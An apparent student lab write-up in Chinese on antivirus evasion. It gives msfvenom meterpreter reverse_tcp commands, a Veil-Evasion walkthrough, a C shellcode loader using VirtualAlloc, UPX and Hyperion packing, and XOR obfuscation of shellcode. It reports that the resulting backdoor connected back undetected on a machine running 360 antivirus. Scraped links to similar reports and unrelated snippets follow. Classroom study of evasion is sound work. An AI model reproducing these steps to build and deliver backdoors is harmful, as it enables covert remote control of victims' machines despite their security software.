Exp3 免杀原理与实践
一、实验过程
1.编码器
(1)使用msf编码器,直接生成meterpreter可执行文件(跟Exp2中生成backdoor.exe的过程一样,生成后门文件),送到Virscan、VirusTotal网站上检测(注:VirusTotal网站实在太慢,后续均使用Virscan网站检测)




很明显,直接挂掉,毕竟直接由著名的msf生成(深信服没发现???百度那个,习惯就好)
(2)Msfvenom使用编码器
查询一下,-e后接所使用编码,-i后接对载荷的编码次数

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b LHOST= -f exe > encode_backdoor.exe


事实证明,编码并没有作用(or没有多大作用),Anti-Virus厂商也不傻,人家研究的是编码器本身,shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,只要盯住这部分就可以了。
2.msfvenom生成如jar文件,扫描结果如下
msfvenom -p windows/meterpreter/reverse_tcp LHOST= x > 007msf_backdoor.jar


3.使用Veil-Evasion,这是一个免杀平台,与Metasploit有点类似,在Kali软件库中有,但默认没装。免杀效果比较好。
apt-get install veil 进行安装,之后 veil 命令进入veil,输入 y 继续安装,按照要求进行剩余安装(一路默认),安装时间较长

(1)安装完成后,输入 use 进入Veil-Evasion

(2) list 看一下可用载荷

(3)这里选用C语言生成payload, use c/meterpreter/rev_tcp.py

(4)设置主机IP、端口号
set LHOST 192.168.28.181 set LPORT

(5) generate 生成payload,然后起个名字就OK了

(6)送到VirScan检测,只能说稍微好一些了(注意上图veil_backdoor.exe所在位置)

4.半手工打造恶意软件(C语言调用Shellcode)
(1)生成C语言格式的shellcode数组
msfvenom -p windows/meterpreter/reverse_tcp LHOST= -f c

(2)利用上面的数组编写一个C程序, gedit 编辑一个文件,复制粘贴数组,并插入如下主函数,保存为 007backdoor.c 格式(注:如果之后生成的可执行文件无法运行,可能是C文件里没加头文件)
int main()
{
void *exec = VirtualAlloc(, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
}

(3)生成可执行文件
i686-w64-mingw32-g++ 007shellcode.c -o 007shellcode.exe

(4)放到VirScan上检测一下,比veil又要好些

(5)ncat传到win7上试一下

居然可以成功回连,刚准备高兴,360没有报毒呀。。。那,不如主动扫一下吧(那就这样吧,曲终人散吧。。。)

5.加壳(将可执行程序资源压缩,压缩后的程序可以直接运行)
(1)压缩壳UPX
upx 007shellcode.exe -o 007_upx_shellcode.exe


是认真的吗?比之前还多一个。。。不如不压缩壳
(2)加密壳Hyperion(在Kali里有hyperion的实现)
cd /usr/share/windows-binaries/hyperion/ wine hyperion.exe -v ~/007shellcode.exe 007_hype_backdoor.exe


更多。。。算了,就不放win7上检测了
6.shellcode变形实现恶意代码免杀
参考各种博客,说是可以利用异或或者逆转shellcode数组方法进行免杀(提前编好一段程序将数组逆转或者利用固定16进制数异或,得到的数组放在.cpp文件中【只要在调用该数组前,再逆转回来或者异或回来,就可实现免杀】,编译、链接生成.exe文件)
然而我已经将奇偶异或和逆转放在一起配合使用,还是被360查杀。
直接在数组中添加或减少16进制数(在不同的地方进行了不少次),还是会被检测到。(已经把攻击的shellcode破坏了,还能被认为是木马?)
后来看到FreeBuf上的一篇文章说是异或 'x' ,试了一下,居然可以。。。(为啥异或 0x07 类似形式的16进制数行不通,非要是字符啊,本质应该是一样的呀)

可以回连成功

放到VirScan上检测,2/49,总算降下来了

7.用另一电脑实测,在杀软开启的情况下,可运行并回连成功
修改本机Kali的IP为桥接模式下的IP,msfvenom半手工生成shellcode,与'x'异或后,与主函数一起生成.cpp文件,编译链接成.exe文件,传到另一台电脑上,运行后回连成功
(另一台电脑为win10系统,装有360安全卫士[版本号:11.5.0.2001])


二、基础问题回答
1.杀软是如何检测出恶意代码的?
[1].基于特征:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
[2].基于行为:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
2.免杀是做什么?
它指的是一种能使病毒木马免于被杀毒软件查杀的技术。
3.免杀的基本方法有哪些?
[1].加冷门壳(伪装壳,把一种壳伪装成其他壳,干扰杀毒软件正常的检测)
[2].加壳改壳(将一个木马文件加上upx壳或者其它壳后用lordpe将文件入口点加1,然后将区段字符全部去掉,然后用od打开免杀的木马在入口上下100字符内修改一些代码让杀毒软件查不出来是什么壳就不知道怎么脱就可以实现免杀的目的)
[3].加花指令(通过添加加花指令{一些垃圾指令,类型加1减1之类的无用语句}让杀毒软件检测不到特征码,干扰杀毒软件正常的检测)
[4].改程序入口点
三、实践总结与体会(开启杀软能绝对防止电脑中恶意代码吗?)
本次实验基本上将上次实践内容的“特殊”推广到了“一般”,在杀软开启的情况下,依旧可以成功运行后门,获得权限。
通过不同方法的构造、编码、实验,居然真的能绕过杀毒软件,终于体会到了“杀软不是万能的”这句话的含义,显然,开启杀软根本不可能绝对防止电脑中恶意代码。
安全形势是真的严峻,期待后续实验!
Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
- 2018-2019-2 网络对抗技术 20165336 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165336 Exp3 免杀原理与实践 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 根据计算机病毒课程知道了每个病毒都有其对应的特征码,杀软是根据这 ...
随机推荐
- django xadmin 1不在可用的选项中
报错:1不在可用的选项中 解决办法: 对CharField的choices的选项, gender = models.CharField(max_length=, choices=((, , " ...
- JavaScript 节流函数 Throttle 详解
在浏览器 DOM 事件里面,有一些事件会随着用户的操作不间断触发.比如:重新调整浏览器窗口大小(resize),浏览器页面滚动(scroll),鼠标移动(mousemove).也就是说用户在触发这些浏 ...
- live-server 介绍&安装
live-server是可以运行前端静态文件的一个服务器,既然我们要前后端分离,所以就需要单独将html代码运行起来,这里我们选择live-server,等到后边真正部署的时候在用nginx js的解 ...
- vsftpd.configro
mmp卸载了vsftpd后 配置文件没了 安装也没有 留个做备份 嘿嘿 原始的: # Please see vsftpd.conf. for all compiled in defaults. # # ...
- linux下oracle启动关闭
1.以oracle身份登录数据库,命令:su – oracle 2.执行以下命令查看数据库监听器的状况: lsnrctl status 3.执行以下命令停止数据库监听器运行: lsnrctl stop ...
- django 问题综合
orm部分 本篇文章我会持续更新,把开发中遇到的一切orm相关的问题都放在这里 mysql索引报错 使用django 的orm,数据库用的mysql,在使用makemigrations和migrate ...
- Linux学习历程——Centos 7 chown命令
一.命令介绍 Linux是多人多工操作系统,所有的文件皆有拥有者.利用 chown 将指定文件的拥有者改为指定的用户或组, 用户可以是用户名或者用户ID:组可以是组名或者组ID:文件是以空格分开的要改 ...
- 调研行为树jbt
最近要做游戏ai,看了一下行为树的东西,因为用的java,所以主要看了jbt: https://github.com/gaia-ucm/jbt 这玩意分编辑器JBTEditor和核心库JBTCore两 ...
- python学习笔记3_抽象
这一步的学习四个知识点,如何将语句组织成函数,参数,作用域(scope),和递归 一.函数 1.抽象和结构 抽象可以节省很多的工作量,实际上它的作用更大,它是使得计算机程序让人读懂的关键(这也是最基本 ...
- nginx学习路线
nginx:熟透,配置.rewrite.黑白名单.脚本.代理.优化等